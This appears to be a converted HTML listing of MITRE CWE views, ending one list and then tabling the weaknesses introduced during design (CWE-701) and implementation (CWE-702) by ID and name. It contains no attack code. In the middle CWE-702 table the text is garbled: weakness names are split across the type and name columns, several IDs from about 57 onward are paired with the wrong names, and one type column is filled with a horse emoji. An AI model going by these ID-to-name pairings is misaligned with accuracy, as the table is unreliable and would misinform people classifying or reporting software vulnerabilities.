<td>EJB Bad Practices: Use of Synchronization Primitives</td>
</tr>
<tr>
<td>3</td>
<td>575</td>
<td>EJB Bad Practices: Use of AWT Swing</td>
</tr>
<tr>
<td>3</td>
<td>576</td>
<td>EJB Bad Practices: Use of Java I/O</td>
</tr>
<tr>
<td>3</td>
<td>577</td>
<td>EJB Bad Practices: Use of Sockets</td>
</tr>
<tr>
<td>3</td>
<td>578</td>
<td>EJB Bad Practices: Use of Class Loader</td>
</tr>
<tr>
<td>3</td>
<td>579</td>
<td>J2EE Bad Practices: Non-serializable Object Stored in Session</td>
</tr>
<tr>
<td>3</td>
<td>587</td>
<td>Assignment of a Fixed Address to a Pointer</td>
</tr>
<tr>
<td>3</td>
<td>588</td>
<td>Attempt to Access Child of a Non-structure Pointer</td>
</tr>
<tr>
<td>3</td>
<td>589</td>
<td>Call to Non-ubiquitous API</td>
</tr>
<tr>
<td>3</td>
<td>593</td>
<td>Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created</td>
</tr>
<tr>
<td>3</td>
<td>594</td>
<td>J2EE Framework: Saving Unserializable Objects to Disk</td>
</tr>
<tr>
<td>3</td>
<td>598</td>
<td>Information Exposure Through Query Strings in GET Request</td>
</tr>
<tr>
<td>3</td>
<td>599</td>
<td>Missing Validation of OpenSSL Certificate</td>
</tr>
<tr>
<td>3</td>
<td>601</td>
<td>URL Redirection to Untrusted Site (‘Open Redirect’)</td>
</tr>
<tr>
<td>3</td>
<td>602</td>
<td>Client-Side Enforcement of Server-Side Security</td>
</tr>
<tr>
<td>3</td>
<td>603</td>
<td>Use of Client-Side Authentication</td>
</tr>
<tr>
<td>3</td>
<td>605</td>
<td>Multiple Binds to the Same Port</td>
</tr>
<tr>
<td>3</td>
<td>610</td>
<td>Externally Controlled Reference to a Resource in Another Sphere</td>
</tr>
<tr>
<td>3</td>
<td>612</td>
<td>Information Exposure Through Indexing of Private Data</td>
</tr>
<tr>
<td>3</td>
<td>613</td>
<td>Insufficient Session Expiration</td>
</tr>
<tr>
<td>3</td>
<td>618</td>
<td>Exposed Unsafe ActiveX Method</td>
</tr>
<tr>
<td>3</td>
<td>620</td>
<td>Unverified Password Change</td>
</tr>
<tr>
<td>3</td>
<td>623</td>
<td>Unsafe ActiveX Control Marked Safe For Scripting</td>
</tr>
<tr>
<td>3</td>
<td>636</td>
<td>Not Failing Securely (‘Failing Open’)</td>
</tr>
<tr>
<td>3</td>
<td>637</td>
<td>Unnecessary Complexity in Protection Mechanism (Not Using ‘Economy of Mechanism’)</td>
</tr>
<tr>
<td>3</td>
<td>638</td>
<td>Not Using Complete Mediation</td>
</tr>
<tr>
<td>3</td>
<td>639</td>
<td>Authorization Bypass Through User-Controlled Key</td>
</tr>
<tr>
<td>3</td>
<td>640</td>
<td>Weak Password Recovery Mechanism for Forgotten Password</td>
</tr>
<tr>
<td>3</td>
<td>641</td>
<td>Improper Restriction of Names for Files and Other Resources</td>
</tr>
<tr>
<td>3</td>
<td>642</td>
<td>External Control of Critical State Data</td>
</tr>
<tr>
<td>3</td>
<td>644</td>
<td>Improper Neutralization of HTTP Headers for Scripting Syntax</td>
</tr>
<tr>
<td>3</td>
<td>645</td>
<td>Overly Restrictive Account Lockout Mechanism</td>
</tr>
<tr>
<td>3</td>
<td>646</td>
<td>Reliance on File Name or Extension of Externally-Supplied File</td>
</tr>
<tr>
<td>3</td>
<td>647</td>
<td>Use of Non-Canonical URL Paths for Authorization Decisions</td>
</tr>
<tr>
<td>3</td>
<td>648</td>
<td>Incorrect Use of Privileged APIs</td>
</tr>
<tr>
<td>3</td>
<td>649</td>
<td>Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking</td>
</tr>
<tr>
<td>3</td>
<td>650</td>
<td>Trusting HTTP Permission Methods on the Server Side</td>
</tr>
<tr>
<td>3</td>
<td>651</td>
<td>Information Exposure Through WSDL File</td>
</tr>
<tr>
<td>3</td>
<td>653</td>
<td>Insufficient Compartmentalization</td>
</tr>
<tr>
<td>3</td>
<td>654</td>
<td>Reliance on a Single Factor in a Security Decision</td>
</tr>
<tr>
<td>3</td>
<td>655</td>
<td>Insufficient Psychological Acceptability</td>
</tr>
<tr>
<td>3</td>
<td>656</td>
<td>Reliance on Security Through Obscurity</td>
</tr>
</tbody>
</table>
## CWE-701: Weaknesses Introduced During Design

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>657</td>
<td>Violation of Secure Design Principles</td>
</tr>
<tr>
<td>A</td>
<td>662</td>
<td>Improper Synchronization</td>
</tr>
<tr>
<td>A</td>
<td>663</td>
<td>Use of a Non-reentrant Function in a Concurrent Context</td>
</tr>
<tr>
<td>A</td>
<td>667</td>
<td>Improper Locking</td>
</tr>
<tr>
<td>A</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
</tr>
<tr>
<td>A</td>
<td>669</td>
<td>Incorrect Resource Transfer Between Spheres</td>
</tr>
<tr>
<td>A</td>
<td>670</td>
<td>Always-Incorrect Control Flow Implementation</td>
</tr>
<tr>
<td>A</td>
<td>671</td>
<td>Lack of Administrator Control over Security</td>
</tr>
<tr>
<td>A</td>
<td>672</td>
<td>Operation on a Resource after Expiration or Release</td>
</tr>
<tr>
<td>A</td>
<td>673</td>
<td>External Influence of Sphere Definition</td>
</tr>
<tr>
<td>A</td>
<td>674</td>
<td>Uncontrolled Recursion</td>
</tr>
<tr>
<td>A</td>
<td>676</td>
<td>Use of Potentially Dangerous Function</td>
</tr>
<tr>
<td>A</td>
<td>682</td>
<td>Incorrect Calculation</td>
</tr>
<tr>
<td>A</td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
</tr>
<tr>
<td>A</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
</tr>
<tr>
<td>A</td>
<td>694</td>
<td>Use of Multiple Resources with Duplicate Identifier</td>
</tr>
<tr>
<td>A</td>
<td>695</td>
<td>Use of Low-Level Functionality</td>
</tr>
<tr>
<td>A</td>
<td>696</td>
<td>Incorrect Behavior Order</td>
</tr>
<tr>
<td>A</td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
</tr>
<tr>
<td>A</td>
<td>704</td>
<td>Incorrect Type Conversion or Cast</td>
</tr>
<tr>
<td>A</td>
<td>705</td>
<td>Incorrect Control Flow Scoping</td>
</tr>
<tr>
<td>A</td>
<td>706</td>
<td>Use of Incorrectly-Resolved Name or Reference</td>
</tr>
<tr>
<td>A</td>
<td>707</td>
<td>Improper Enforcement of Message or Data Structure</td>
</tr>
<tr>
<td>A</td>
<td>708</td>
<td>Incorrect Ownership Assignment</td>
</tr>
<tr>
<td>B</td>
<td>710</td>
<td>Coding Standards Violation</td>
</tr>
<tr>
<td>B</td>
<td>732</td>
<td>Improper Permission Assignment for Critical Resource</td>
</tr>
<tr>
<td>B</td>
<td>749</td>
<td>Exposed Dangerous Method or Function</td>
</tr>
<tr>
<td>B</td>
<td>764</td>
<td>Multiple Locks of a Critical Resource</td>
</tr>
<tr>
<td>B</td>
<td>766</td>
<td>Critical Variable Declared Public</td>
</tr>
<tr>
<td>B</td>
<td>767</td>
<td>Access to Critical Private Variable via Public Method</td>
</tr>
<tr>
<td>B</td>
<td>769</td>
<td>File Descriptor Exhaustion</td>
</tr>
<tr>
<td>B</td>
<td>770</td>
<td>Allocation of Resources Without Limits or Throttling</td>
</tr>
<tr>
<td>B</td>
<td>771</td>
<td>Missing Reference to Active Allocated Resource</td>
</tr>
<tr>
<td>B</td>
<td>772</td>
<td>Missing Release of Resource after Effective Lifetime</td>
</tr>
<tr>
<td>V</td>
<td>773</td>
<td>Missing Reference to Active File Descriptor or Handle</td>
</tr>
<tr>
<td>V</td>
<td>774</td>
<td>Allocation of File Descriptors or Handles Without Limits or Throttling</td>
</tr>
<tr>
<td>V</td>
<td>780</td>
<td>Use of RSA Algorithm without OAEP</td>
</tr>
<tr>
<td>V</td>
<td>781</td>
<td>Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code</td>
</tr>
<tr>
<td>V</td>
<td>782</td>
<td>Exposed IOCTL with Insufficient Access Control</td>
</tr>
<tr>
<td>V</td>
<td>784</td>
<td>Reliance on Cookies without Validation and Integrity Checking in a Security Decision</td>
</tr>
<tr>
<td>V</td>
<td>789</td>
<td>Uncontrolled Memory Allocation</td>
</tr>
<tr>
<td>B</td>
<td>798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>B</td>
<td>799</td>
<td>Improper Control of Interaction Frequency</td>
</tr>
<tr>
<td>B</td>
<td>804</td>
<td>Guessable CAPTCHA</td>
</tr>
<tr>
<td>B</td>
<td>807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>C</td>
<td>862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>C</td>
<td>863</td>
<td>Incorrect Authorization</td>
</tr>
<tr>
<td>C</td>
<td>912</td>
<td>Hidden Functionality</td>
</tr>
<tr>
<td>C</td>
<td>913</td>
<td>Improper Control of Dynamically-Managed Code Resources</td>
</tr>
<tr>
<td>B</td>
<td>914</td>
<td>Improper Control of Dynamically-Identified Variables</td>
</tr>
</tbody>
</table>
## CWE-702: Weaknesses Introduced During Implementation

**Objective**
This view (slice) lists weaknesses that can be introduced during implementation.

**View Data**
- **Filter Used:** `./Introductory_Phase='Implementation'`

**View Metrics**

<table>
<thead>
<tr>
<th></th>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total Views</td>
<td>0</td>
<td>33</td>
</tr>
<tr>
<td>Categories</td>
<td>4</td>
<td>245</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>595</td>
<td>720</td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>4</td>
<td>8</td>
</tr>
</tbody>
</table>

**CWEs Included in this View**

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>5</td>
<td>J2EE Misconfiguration: Data Transmission Without Encryption</td>
</tr>
<tr>
<td></td>
<td>6</td>
<td>J2EE Misconfiguration: Insufficient Session-ID Length</td>
</tr>
<tr>
<td></td>
<td>7</td>
<td>J2EE Misconfiguration: Missing Custom Error Page</td>
</tr>
<tr>
<td></td>
<td>8</td>
<td>J2EE Misconfiguration: Entity Bean Declared Remote</td>
</tr>
<tr>
<td></td>
<td>9</td>
<td>J2EE Misconfiguration: Weak Access Permissions for EJB Methods</td>
</tr>
<tr>
<td></td>
<td>11</td>
<td>ASP.NET Misconfiguration: Creating Debug Binary</td>
</tr>
<tr>
<td></td>
<td>12</td>
<td>ASP.NET Misconfiguration: Missing Custom Error Page</td>
</tr>
<tr>
<td></td>
<td>13</td>
<td>ASP.NET Misconfiguration: Password in Configuration File</td>
</tr>
<tr>
<td></td>
<td>14</td>
<td>Compiler Removal of Code to Clear Buffers</td>
</tr>
<tr>
<td></td>
<td>15</td>
<td>External Control of System or Configuration Setting</td>
</tr>
<tr>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
</tr>
<tr>
<td></td>
<td>22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
</tr>
<tr>
<td></td>
<td>23</td>
<td>Relative Path Traversal</td>
</tr>
<tr>
<td></td>
<td>24</td>
<td>Path Traversal: '../filedir'</td>
</tr>
<tr>
<td></td>
<td>25</td>
<td>Path Traversal: './filedir'</td>
</tr>
<tr>
<td></td>
<td>26</td>
<td>Path Traversal: '/dir/../filename'</td>
</tr>
</tbody>
</table>
### CWE-702: Weaknesses Introduced During Implementation

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Path Traversal</td>
<td>27</td>
<td><code>dir/../../filename</code></td>
</tr>
<tr>
<td>Path Traversal</td>
<td>28</td>
<td><code>..\filedir</code></td>
</tr>
<tr>
<td>Path Traversal</td>
<td>29</td>
<td><code>\.filename</code></td>
</tr>
<tr>
<td>Path Traversal</td>
<td>30</td>
<td><code>\dir\.\filename</code></td>
</tr>
<tr>
<td>Path Traversal</td>
<td>31</td>
<td><code>\dir\..\.\filename</code></td>
</tr>
<tr>
<td>Path Traversal</td>
<td>32</td>
<td><code>...</code> (Triple Dot)</td>
</tr>
<tr>
<td>Path Traversal</td>
<td>33</td>
<td><code>...</code> (Multiple Dot)</td>
</tr>
<tr>
<td>Path Traversal</td>
<td>34</td>
<td><code>.../</code></td>
</tr>
<tr>
<td>Path Traversal</td>
<td>35</td>
<td><code>.../...</code></td>
</tr>
<tr>
<td>Absolute Path Traversal</td>
<td>36</td>
<td></td>
</tr>
<tr>
<td>Path Traversal</td>
<td>37</td>
<td><code>/absolute/pathname/here</code></td>
</tr>
<tr>
<td>Path Traversal</td>
<td>38</td>
<td><code>\absolute\pathname\here</code></td>
</tr>
<tr>
<td>Path Traversal</td>
<td>39</td>
<td><code>C:dirname</code></td>
</tr>
<tr>
<td>Path Equivalence</td>
<td>40</td>
<td></td>
</tr>
<tr>
<td>Path Equivalence</td>
<td>41</td>
<td><code>filename.</code> (Trailing Dot)</td>
</tr>
<tr>
<td>Path Equivalence</td>
<td>42</td>
<td><code>filename....</code> (Multiple Trailing Dot)</td>
</tr>
<tr>
<td>Path Equivalence</td>
<td>43</td>
<td><code>file.name</code> (Internal Dot)</td>
</tr>
<tr>
<td>Path Equivalence</td>
<td>44</td>
<td><code>file...name</code> (Multiple Internal Dot)</td>
</tr>
<tr>
<td>Path Equivalence</td>
<td>45</td>
<td><code>filename </code> (Trailing Space)</td>
</tr>
<tr>
<td>Path Equivalence</td>
<td>46</td>
<td><code>filename</code> (Leading Space)</td>
</tr>
<tr>
<td>Path Equivalence</td>
<td>47</td>
<td><code>file name</code> (Internal Whitespace)</td>
</tr>
<tr>
<td>Path Equivalence</td>
<td>48</td>
<td><code>filename/</code> (Trailing Slash)</td>
</tr>
<tr>
<td>Path Equivalence</td>
<td>49</td>
<td><code>//multiple/leading/slash</code></td>
</tr>
<tr>
<td>Path Equivalence</td>
<td>50</td>
<td><code>//multiple/internal/slash</code></td>
</tr>
<tr>
<td>Path Equivalence</td>
<td>51</td>
<td><code>\multiple\internal\backslash</code></td>
</tr>
<tr>
<td>Path Equivalence</td>
<td>52</td>
<td><code>filedir</code> (Trailing Backslash)</td>
</tr>
<tr>
<td>Path Equivalence</td>
<td>53</td>
<td><code>/.</code> (Single Dot Directory)</td>
</tr>
<tr>
<td>Path Equivalence</td>
<td>54</td>
<td><code>filedir</code> (Wildcard)</td>
</tr>
<tr>
<td>Path Equivalence</td>
<td>55</td>
<td><code>fakedir/.../realdir/filename</code></td>
</tr>
<tr>
<td>Path Equivalence</td>
<td>56</td>
<td>Windows 8.3 Filename</td>
</tr>
<tr>
<td>Improper Link Resolution</td>
<td>57</td>
<td>Before File Access ('Link Following')</td>
</tr>
<tr>
<td>Improper Link Resolution</td>
<td>58</td>
<td>Windows Symbolic Link (Symlink) Following</td>
</tr>
<tr>
<td>Improper Handling of Files</td>
<td>59</td>
<td>that Identify Virtual Resources</td>
</tr>
<tr>
<td>Improper Handling of Devices</td>
<td>60</td>
<td>Windows Device Names</td>
</tr>
<tr>
<td>Improper Handling of</td>
<td>61</td>
<td>Windows ::DATA Alternate Data Stream</td>
</tr>
<tr>
<td>Improper Handling of</td>
<td>62</td>
<td><code>.DS_Store</code></td>
</tr>
<tr>
<td>Improper Handling of</td>
<td>63</td>
<td>Apple HFS+ Alternate Data Stream Path</td>
</tr>
<tr>
<td>Improper Handling of</td>
<td>64</td>
<td>File Name or Path</td>
</tr>
<tr>
<td>Improper Neutralization of</td>
<td>65</td>
<td>Special Elements in Output Used by a Downstream Component ('Injection')</td>
</tr>
<tr>
<td>Improper Neutralization of</td>
<td>66</td>
<td>Special Elements used in a Command ('Command Injection')</td>
</tr>
<tr>
<td>Improper Neutralization of</td>
<td>67</td>
<td>Special Elements used in an OS Command ('OS Command Injection')</td>
</tr>
<tr>
<td>Improper Neutralization of</td>
<td>68</td>
<td>Input During Web Page Generation ('Cross-site Scripting')</td>
</tr>
<tr>
<td>Improper Neutralization of</td>
<td>69</td>
<td>Script-Related HTML Tags in a Web Page (Basic XSS)</td>
</tr>
</tbody>
</table>
## CWE-702: Weaknesses Introduced During Implementation

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>81</td>
<td>Improper Neutralization of Script in an Error Message Web Page</td>
</tr>
<tr>
<td></td>
<td>82</td>
<td>Improper Neutralization of Script in Attributes of IMG Tags in a Web Page</td>
</tr>
<tr>
<td></td>
<td>83</td>
<td>Improper Neutralization of Script in Attributes in a Web Page</td>
</tr>
<tr>
<td></td>
<td>84</td>
<td>Improper Neutralization of Encoded URI Schemes in a Web Page</td>
</tr>
<tr>
<td></td>
<td>85</td>
<td>Doubled Character XSS Manipulations</td>
</tr>
<tr>
<td></td>
<td>86</td>
<td>Improper Neutralization of Invalid Characters in Identifiers in Web Pages</td>
</tr>
<tr>
<td></td>
<td>87</td>
<td>Improper Neutralization of Alternate XSS Syntax</td>
</tr>
<tr>
<td></td>
<td>88</td>
<td>Argument Injection or Modification</td>
</tr>
<tr>
<td></td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)</td>
</tr>
<tr>
<td></td>
<td>90</td>
<td>Improper Neutralization of Special Elements used in an LDAP Query (‘LDAP Injection’)</td>
</tr>
<tr>
<td></td>
<td>91</td>
<td>XML Injection (aka Blind XPath Injection)</td>
</tr>
<tr>
<td></td>
<td>93</td>
<td>Improper Neutralization of CRLF Sequences (‘CRLF Injection’)</td>
</tr>
<tr>
<td></td>
<td>94</td>
<td>Improper Control of Generation of Code (‘Code Injection’)</td>
</tr>
<tr>
<td></td>
<td>95</td>
<td>Improper Neutralization of Directives in Dynamically Evaluated Code (‘Eval Injection’)</td>
</tr>
<tr>
<td></td>
<td>96</td>
<td>Improper Neutralization of Directives in Statically Saved Code (‘Static Code Injection’)</td>
</tr>
<tr>
<td></td>
<td>97</td>
<td>Improper Neutralization of Server-Side Includes (SSI) Within a Web Page</td>
</tr>
<tr>
<td></td>
<td>98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’)</td>
</tr>
<tr>
<td></td>
<td>99</td>
<td>Improper Control of Resource Identifiers (‘Resource Injection’)</td>
</tr>
<tr>
<td></td>
<td>100</td>
<td>Technology-Specific Input Validation Problems</td>
</tr>
<tr>
<td></td>
<td>102</td>
<td>Struts: Duplicate Validation Forms</td>
</tr>
<tr>
<td></td>
<td>103</td>
<td>Struts: Incomplete validate() Method Definition</td>
</tr>
<tr>
<td></td>
<td>104</td>
<td>Struts: Form Bean Does Not Extend Validation Class</td>
</tr>
<tr>
<td></td>
<td>105</td>
<td>Struts: Form Field Without Validator</td>
</tr>
<tr>
<td></td>
<td>106</td>
<td>Struts: Plug-in Framework not in Use</td>
</tr>
<tr>
<td></td>
<td>107</td>
<td>Struts: Unused Validation Form</td>
</tr>
<tr>
<td></td>
<td>108</td>
<td>Struts: Unvalidated Action Form</td>
</tr>
<tr>
<td></td>
<td>109</td>
<td>Struts: Validator Turned Off</td>
</tr>
<tr>
<td></td>
<td>110</td>
<td>Struts: Validator Without Form Field</td>
</tr>
<tr>
<td></td>
<td>111</td>
<td>Direct Use of Unsafe JNI</td>
</tr>
<tr>
<td></td>
<td>112</td>
<td>Missing XML Validation</td>
</tr>
<tr>
<td></td>
<td>113</td>
<td>Improper Neutralization of CRLF Sequences in HTTP Headers (‘HTTP Response Splitting’)</td>
</tr>
<tr>
<td></td>
<td>114</td>
<td>Process Control</td>
</tr>
<tr>
<td></td>
<td>115</td>
<td>Misinterpretation of Input</td>
</tr>
<tr>
<td></td>
<td>116</td>
<td>Improper Encoding or Escaping of Output</td>
</tr>
<tr>
<td></td>
<td>117</td>
<td>Improper Output Neutralization for Logs</td>
</tr>
<tr>
<td></td>
<td>118</td>
<td>Incorrect Access of Indexable Resource (‘Range Error’)</td>
</tr>
<tr>
<td></td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
</tr>
<tr>
<td></td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)</td>
</tr>
<tr>
<td></td>
<td>121</td>
<td>Stack-based Buffer Overflow</td>
</tr>
<tr>
<td></td>
<td>122</td>
<td>Heap-based Buffer Overflow</td>
</tr>
<tr>
<td></td>
<td>123</td>
<td>Write-what-where Condition</td>
</tr>
<tr>
<td></td>
<td>124</td>
<td>Buffer Underwrite (‘Buffer Underflow’)</td>
</tr>
<tr>
<td></td>
<td>125</td>
<td>Out-of-bounds Read</td>
</tr>
<tr>
<td></td>
<td>126</td>
<td>Buffer Over-read</td>
</tr>
<tr>
<td></td>
<td>127</td>
<td>Buffer Under-read</td>
</tr>
<tr>
<td></td>
<td>128</td>
<td>Wrap-around Error</td>
</tr>
<tr>
<td></td>
<td>129</td>
<td>Improper Validation of Array Index</td>
</tr>
<tr>
<td></td>
<td>130</td>
<td>Improper Handling of Length Parameter Inconsistency</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>-----------------------------------------------</td>
</tr>
<tr>
<td></td>
<td>131</td>
<td>Incorrect Calculation of Buffer Size</td>
</tr>
<tr>
<td></td>
<td>134</td>
<td>Use of Externally-Controlled Format String</td>
</tr>
<tr>
<td></td>
<td>135</td>
<td>Incorrect Calculation of Multi-Byte String Length</td>
</tr>
<tr>
<td></td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
</tr>
<tr>
<td></td>
<td>140</td>
<td>Improper Neutralization of Delimiters</td>
</tr>
<tr>
<td></td>
<td>141</td>
<td>Improper Neutralization of Parameter/Argument Delimiters</td>
</tr>
<tr>
<td></td>
<td>142</td>
<td>Improper Neutralization of Value Delimiters</td>
</tr>
<tr>
<td></td>
<td>143</td>
<td>Improper Neutralization of Record Delimiters</td>
</tr>
<tr>
<td></td>
<td>144</td>
<td>Improper Neutralization of Line Delimiters</td>
</tr>
<tr>
<td></td>
<td>145</td>
<td>Improper Neutralization of Section Delimiters</td>
</tr>
<tr>
<td></td>
<td>146</td>
<td>Improper Neutralization of Expression/Command Delimiters</td>
</tr>
<tr>
<td></td>
<td>147</td>
<td>Improper Neutralization of Input Terminators</td>
</tr>
<tr>
<td></td>
<td>148</td>
<td>Improper Neutralization of Input Leaders</td>
</tr>
<tr>
<td></td>
<td>149</td>
<td>Improper Neutralization of Quoting Syntax</td>
</tr>
<tr>
<td></td>
<td>150</td>
<td>Improper Neutralization of Escape, Meta, or Control Sequences</td>
</tr>
<tr>
<td></td>
<td>151</td>
<td>Improper Neutralization of Comment Delimiters</td>
</tr>
<tr>
<td></td>
<td>152</td>
<td>Improper Neutralization of Macro Symbols</td>
</tr>
<tr>
<td></td>
<td>153</td>
<td>Improper Neutralization of Substitution Characters</td>
</tr>
<tr>
<td></td>
<td>154</td>
<td>Improper Neutralization of Variable Name Delimiters</td>
</tr>
<tr>
<td></td>
<td>155</td>
<td>Improper Neutralization of Wildcards or Matching Symbols</td>
</tr>
<tr>
<td></td>
<td>156</td>
<td>Improper Neutralization of Whitespace</td>
</tr>
<tr>
<td></td>
<td>157</td>
<td>Failure to Sanitize Paired Delimiters</td>
</tr>
<tr>
<td></td>
<td>158</td>
<td>Improper Neutralization of Null Byte or NUL Character</td>
</tr>
<tr>
<td></td>
<td>159</td>
<td>Failure to Sanitize Special Element</td>
</tr>
<tr>
<td></td>
<td>160</td>
<td>Improper Neutralization of Leading Special Elements</td>
</tr>
<tr>
<td></td>
<td>161</td>
<td>Improper Neutralization of Multiple Leading Special Elements</td>
</tr>
<tr>
<td></td>
<td>162</td>
<td>Improper Neutralization of Trailing Special Elements</td>
</tr>
<tr>
<td></td>
<td>163</td>
<td>Improper Neutralization of Multiple Trailing Special Elements</td>
</tr>
<tr>
<td></td>
<td>164</td>
<td>Improper Neutralization of Internal Special Elements</td>
</tr>
<tr>
<td></td>
<td>165</td>
<td>Improper Neutralization of Multiple Internal Special Elements</td>
</tr>
<tr>
<td></td>
<td>166</td>
<td>Improper Handling of Missing Special Element</td>
</tr>
<tr>
<td></td>
<td>167</td>
<td>Improper Handling of Additional Special Element</td>
</tr>
<tr>
<td></td>
<td>168</td>
<td>Improper Handling of Inconsistent Special Elements</td>
</tr>
<tr>
<td></td>
<td>170</td>
<td>Improper Null Termination</td>
</tr>
<tr>
<td></td>
<td>172</td>
<td>Encoding Error</td>
</tr>
<tr>
<td></td>
<td>173</td>
<td>Improper Handling of Alternate Encoding</td>
</tr>
<tr>
<td></td>
<td>174</td>
<td>Double Decoding of the Same Data</td>
</tr>
<tr>
<td></td>
<td>175</td>
<td>Improper Handling of Mixed Encoding</td>
</tr>
<tr>
<td></td>
<td>176</td>
<td>Improper Handling of Unicode Encoding</td>
</tr>
<tr>
<td></td>
<td>177</td>
<td>Improper Handling of URL Encoding (Hex Encoding)</td>
</tr>
<tr>
<td></td>
<td>178</td>
<td>Improper Handling of Case Sensitivity</td>
</tr>
<tr>
<td></td>
<td>179</td>
<td>Incorrect Behavior Order: Early Validation</td>
</tr>
<tr>
<td></td>
<td>180</td>
<td>Incorrect Behavior Order: Validate Before Canonicalize</td>
</tr>
<tr>
<td></td>
<td>181</td>
<td>Incorrect Behavior Order: Validate Before Filter</td>
</tr>
<tr>
<td></td>
<td>182</td>
<td>Collapse of Data into Unsafe Value</td>
</tr>
<tr>
<td></td>
<td>183</td>
<td>Permissive Whitelist</td>
</tr>
<tr>
<td></td>
<td>184</td>
<td>Incomplete Blacklist</td>
</tr>
<tr>
<td></td>
<td>185</td>
<td>Incorrect Regular Expression</td>
</tr>
<tr>
<td></td>
<td>186</td>
<td>Overly Restrictive Regular Expression</td>
</tr>
<tr>
<td></td>
<td>187</td>
<td>Partial Comparison</td>
</tr>
</tbody>
</table>
## CWE-702: Weaknesses Introduced During Implementation

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>🐎</td>
<td>188</td>
<td>Reliance on Data/Memory Layout</td>
</tr>
<tr>
<td>🐎</td>
<td>190</td>
<td>Integer Overflow or Wraparound</td>
</tr>
<tr>
<td>🐎</td>
<td>191</td>
<td>Integer Underflow (Wrap or Wraparound)</td>
</tr>
<tr>
<td>🐎</td>
<td>192</td>
<td>Integer Coercion Error</td>
</tr>
<tr>
<td>🐎</td>
<td>193</td>
<td>Off-by-one Error</td>
</tr>
<tr>
<td>🐎</td>
<td>194</td>
<td>Unexpected Sign Extension</td>
</tr>
<tr>
<td>🐎</td>
<td>195</td>
<td>Signed to Unsigned Conversion Error</td>
</tr>
<tr>
<td>🐎</td>
<td>196</td>
<td>Unsigned to Signed Conversion Error</td>
</tr>
<tr>
<td>🐎</td>
<td>197</td>
<td>Numeric Truncation Error</td>
</tr>
<tr>
<td>🐎</td>
<td>198</td>
<td>Use of Incorrect Byte Ordering</td>
</tr>
<tr>
<td>🐎</td>
<td>200</td>
<td>Information Exposure</td>
</tr>
<tr>
<td>🐎</td>
<td>201</td>
<td>Information Exposure Through Sent Data</td>
</tr>
<tr>
<td>🐎</td>
<td>202</td>
<td>Exposure of Sensitive Data Through Data Queries</td>
</tr>
<tr>
<td>🐎</td>
<td>203</td>
<td>Information Exposure Through Discrepancy</td>
</tr>
<tr>
<td>🐎</td>
<td>204</td>
<td>Response Discrepancy Information Exposure</td>
</tr>
<tr>
<td>🐎</td>
<td>205</td>
<td>Information Exposure Through Behavioral Discrepancy</td>
</tr>
<tr>
<td>🐎</td>
<td>206</td>
<td>Information Exposure of Internal State Through Behavioral Inconsistency</td>
</tr>
<tr>
<td>🐎</td>
<td>207</td>
<td>Information Exposure Through an External Behavioral Inconsistency</td>
</tr>
<tr>
<td>🐎</td>
<td>208</td>
<td>Information Exposure Through Timing Discrepancy</td>
</tr>
<tr>
<td>🐎</td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
</tr>
<tr>
<td>🐎</td>
<td>210</td>
<td>Information Exposure Through Self-generated Error Message</td>
</tr>
<tr>
<td>🐎</td>
<td>211</td>
<td>Information Exposure Through Externally-generated Error Message</td>
</tr>
<tr>
<td>🐎</td>
<td>212</td>
<td>Improper Cross-boundary Removal of Sensitive Data</td>
</tr>
<tr>
<td>🐎</td>
<td>213</td>
<td>Intentional Information Exposure</td>
</tr>
<tr>
<td>🐎</td>
<td>214</td>
<td>Information Exposure Through Process Environment</td>
</tr>
<tr>
<td>🐎</td>
<td>215</td>
<td>Information Exposure Through Debug Information</td>
</tr>
<tr>
<td>🐎</td>
<td>216</td>
<td>Containment Errors (Container Errors)</td>
</tr>
<tr>
<td>🐎</td>
<td>219</td>
<td>Sensitive Data Under Web Root</td>
</tr>
<tr>
<td>🐎</td>
<td>221</td>
<td>Information Loss or Omission</td>
</tr>
<tr>
<td>🐎</td>
<td>222</td>
<td>Truncation of Security-relevant Information</td>
</tr>
<tr>
<td>🐎</td>
<td>223</td>
<td>Omission of Security-relevant Information</td>
</tr>
<tr>
<td>🐎</td>
<td>224</td>
<td>Obscured Security-relevant Information by Alternate Name</td>
</tr>
<tr>
<td>🐎</td>
<td>226</td>
<td>Sensitive Information Uncleared Before Release</td>
</tr>
<tr>
<td>🐎</td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
</tr>
<tr>
<td>🐎</td>
<td>228</td>
